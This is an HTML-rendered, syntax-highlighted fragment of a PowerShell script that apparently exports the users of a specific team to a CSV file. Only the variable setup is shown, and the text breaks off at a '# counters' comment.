&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt;64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt;65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt;66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt;67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt;68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt;69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt;70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt;71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt;72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt;73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt;74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt;75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt;76&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;77&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#77&#34;&gt;77&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;78&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#78&#34;&gt;78&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;79&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#79&#34;&gt;79&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;80&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#80&#34;&gt;80&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;81&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#81&#34;&gt;81&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;82&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#82&#34;&gt;82&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;83&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#83&#34;&gt;83&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;84&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#84&#34;&gt;84&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;85&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#85&#34;&gt;85&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Global variables to set:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#path of the file where to export&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#specific ID of the team that you want the users for. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C:\temp\RL-decision-AI-export.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$TEAM_ID&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;f3f9ad1f-beea-4026-9b86-dd3788404999&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;@&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# counters&lt;/span&gt;
